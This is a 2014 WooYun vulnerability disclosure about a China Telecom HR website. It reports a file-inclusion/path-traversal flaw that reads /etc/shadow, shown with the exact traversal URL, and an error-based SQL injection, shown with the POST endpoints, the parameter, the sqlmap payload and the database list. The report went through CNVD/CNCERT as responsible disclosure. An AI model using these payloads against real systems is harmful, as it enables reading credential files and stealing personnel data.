当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-060244

漏洞标题:中国电信某站SQL注入+文件包含漏洞(root权限可读shadow)

相关厂商:中国电信

漏洞作者: Mr .LZH

提交时间:2014-05-10 22:42

修复时间:2014-06-24 22:43

公开时间:2014-06-24 22:43

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-05-10: 细节已通知厂商并且等待厂商处理中
2014-05-13: 厂商已经确认,细节仅向厂商公开
2014-05-23: 细节向核心白帽子及相关领域专家公开
2014-06-02: 细节向普通白帽子公开
2014-06-12: 细节向实习白帽子公开
2014-06-24: 细节向公众公开

简要描述:

中国电信某站注入+文件包含危害2个后台大量人员信息

详细说明:

后台一:http://rs.hntelecom.net.cn/HRSystem/initIndex.do
后台二:http://rs.hntelecom.net.cn/loginadmin.do?m=login
漏洞类型一:
文件包含:rs.hntelecom.net.cn/filedown.do?m=filedown&path=/../..//../..//../..//../..//../..//etc/shadow%00

QQ截图20140510222842.png


看到没有,root权限的哦
漏洞类型二:
地址:rs.hntelecom.net.cn/search.do?m=search
post数据:sss=test&Submit=%cb%d1%20%cb%f7&ttt=test
地址:rs.hntelecom.net.cn/searchD.do?m=searchD
post数据:sss=test&Submit=%cb%d1%20%cb%f7&ttt=test
话说2个地址都是一样功能,搞出2个有意思吗

sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: POST
Parameter: ttt
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
Payload: sss=1&Submit=�� ��&ttt=1' AND (SELECT 7373 FROM(SELECT COUNT(*),CONCAT(CHAR(58,114,108,100,58),(SELECT (CASE WHEN (7373=7373) THEN 1 ELSE 0 END)),CHAR(58,111,112,99,58),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a) AND 'JyFl'='JyFl
---
available databases [4]:
[*] information_schema
[*] manpower
[*] test
[*] yiqilaifinddifferences

漏洞证明:

QQ截图20140510222842.png


sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: POST
Parameter: ttt
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
Payload: sss=1&Submit=�� ��&ttt=1' AND (SELECT 7373 FROM(SELECT COUNT(*),CONCAT(CHAR(58,114,108,100,58),(SELECT (CASE WHEN (7373=7373) THEN 1 ELSE 0 END)),CHAR(58,111,112,99,58),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a) AND 'JyFl'='JyFl
---
available databases [4]:
[*] information_schema
[*] manpower
[*] test
[*] yiqilaifinddifferences

修复方案:

不继续深入,存在进一步渗透风险。
漏洞叠加,rank给高点咯。。。

版权声明:转载请注明来源 Mr .LZH@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:11

确认时间:2014-05-13 17:45

厂商回复:

CNVD确认并复现所述情况,转由CNCERT向中国电信集团公司通报处置。

最新状态:

暂无